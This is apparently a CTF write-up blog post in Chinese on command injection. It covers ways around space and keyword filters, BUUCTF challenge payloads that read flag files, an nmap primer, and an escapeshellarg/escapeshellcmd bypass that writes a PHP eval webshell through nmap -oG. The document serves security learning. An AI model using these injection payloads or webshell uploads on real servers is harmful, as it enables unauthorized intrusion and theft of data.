web基础漏洞之命令执行漏洞

命令执行漏洞

windows系统常用命令拼接符号

空格过滤 echo$IFS123(错误用法 ) $IFS在linux下表示分隔符,相当于一个空格。但是如果单纯的echo$IFS123,bash解释器会把整个IFS123当做变量名,所以导致输不出结果,因此这里加一个{}就固定了变量名1.echo${IFS}123(正确用法)输出:1232.如果目标服务器过滤了大括号"{}",这时${IFS}就不管用了,再回过头看看第一次尝试的写法echo$IFS123,shell执行命令时有没有什么办法让shell读取$后面的内容刚好到S处,经过测试后发现,当shell在搜寻变量名称遇到引号 , 符 号 时 就 会 结 束 .

加了转义,因为引号需要闭合,如果将左边的引号闭合会是下面的情况。echo $IFS""123输出:123echo IFS"123"也可以,因为在shell命令获取参数时,参数外面可以用引号括起来也可以不括起来 。3.如果目标过滤了引号和大括号怎么办 ,只要将参数放在一个变量中,然后通过命令+$IFS+变量的方式就可以正常使用$IFS变量,方式如下 a=123;echo$IFS$123

命令中空格被过滤的解决方法: {cat,flag.txt} cat${IFS}flag.txt cat $IFS$9flag.txt $9指传过来的第9个参数 cat<flag.txt cat<>flag.txt读文件命令cat--由第一行开始显示内容,并将所有内容输出tac--从最后一行倒序显示内容,并将所有内容输出more-- 根据窗口大小,一页一页的显示文件内容less 和more类似,但其优点可以往前翻页,而且可以进行搜索字符head-- 只显示头几行tail --只显示最后几行nl --类似于cat -n,显示时输出行号tailf-- 类似于tail -fvim --使用vim工具打开文本vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出buu:命令执行buu【GXYCTF2019】PINGPINGPINGls(英文全拼:list files):用于显示指定工作目录下的内容(列出目前工作目录所含之文件及子目录)cat(英文全拼:concatenate):用于连接文件并打印到标准输出设备上。 http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|cat%20flag.php

空格被过滤http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|{catflag.php}

符号被过滤,于是试试第三种过滤方法http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$9flag.txt

结果又发现flag又被过滤了,离谱。http://6bc6cf09-cb4d-4729-8b56-6cec83da2872.node4.buuoj.cn:81/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

只有个这玩意,查看源码,得到flag

[ACTF2020 新生赛]Exec

还是先看一下目录有什么东西127.0.0.1|ls发现有个index.phpls /时返回上一级目录127.0.0.1|ls /

127.0.0.1|cat /flag得到flagnmapnmap简介:nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图,Nmap发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。 功能:主机发现 - 识别网络上的主机。例如,列出响应TCP和或ICMP请求或打开特定端口的主机。· 端口扫描 - 枚举目标主机上的开放端口。· 版本检测 - 询问远程设备上的网络服务以确定应用程序名称和版本号。· OS检测 - 确定网络设备的操作系统和硬件特性。· 可与脚本进行脚本交互 - 使用Nmap脚本引擎(NSE)和Lua编程语言。nmap语法格式: nmap [空格] [选项/多选项/协议] [空格] [目标] 例: nmap ip

nmap -A ip

详细描述输出扫描nmap -vv ip地址简单扫描,并对返回的结果详细描述输出,这个扫描是可以看到扫描的过程的,漫长的扫描的过程中可以看到百分比

TCP扫描:nmap -sT ip

版本检测扫描:nmap -sv ip

版本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术,它不是用来扫描目标主机上开放的端口,不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCPSYN扫描开放了哪些端口。这个扫描的话,速度会慢一些,67.86秒扫一个IP。 -Pn,扫描之前不需要用ping命令,有些防火墙禁止使用ping命令 -T加常数,时间优化参数,-T0~n,-T0扫描端口的周期大约为n分钟,-Tn大约为n秒钟 -host-time限制扫描时间[BUUCTF 2018]Online Tool

漏洞点:单独使用escapeshellarg 和escapeshellcmd 中任意一个都不会出现问题,或者先使用escapeshellcmd再使用escapeshellarg 也不会出现问题,唯有题目中先escapeshellarg 在escapeshellcmd 会有漏洞 nmap的知识点:在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件。可以上传一句话木马,再用蚁剑链接,就可以顺利拿到flag了构造payload:?host=' <?php @eval($_POST["hack"]);?> -oG hack.php 'http://f15643b7-d9fa-40d8-8379-fc5ddc5875dd.node4.buuoj.cn/98159fe8cfa5bf24515438d407a8668b/hack.php hack=system('ls');[网鼎杯 2020 朱雀组]Nmap这个题的环境类似于nmap,输入一个命令行,就会输出ip地址。例如输入127.0.0.1,

试一下127.0.0.1|ls,出现了这一段话。

提示地址错误 ,直接放入网上搜到的payload:' <?php @eval($_POST["hack"]);?> -oG hack.php '这个payload和上一个题online tool的那一个是一样的

应该是做了什么限制,尝试修改文件名后缀为phtml, 加上扫描的地址:127.0.0.1: 127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml'

这个就是扫描结果。

第二种方法:payload:' -iL /flag -oN flag.txt '存入flag.txt,访问得到flag

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

R3ality

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值